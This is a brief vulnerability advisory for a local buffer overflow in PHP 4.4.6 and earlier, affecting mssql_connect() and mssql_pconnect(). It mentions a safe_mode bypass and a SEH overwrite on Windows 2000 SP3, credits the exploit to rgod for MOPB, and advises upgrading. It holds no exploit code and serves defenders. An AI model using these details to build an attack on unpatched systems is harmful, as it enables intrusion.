PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow

This exploit targets the mssql_connect() and mssql_pconnect() functions in PHP versions <= 4.4.6. It allows for local buffer overflow and can also bypass the safe_mode restriction. The exploit is specific to Windows 2000 SP3 EN with a SEH overwrite. It was created by rgod as a contribution to MOPB.

Mitigation:

Upgrade PHP to a version higher than 4.4.6.
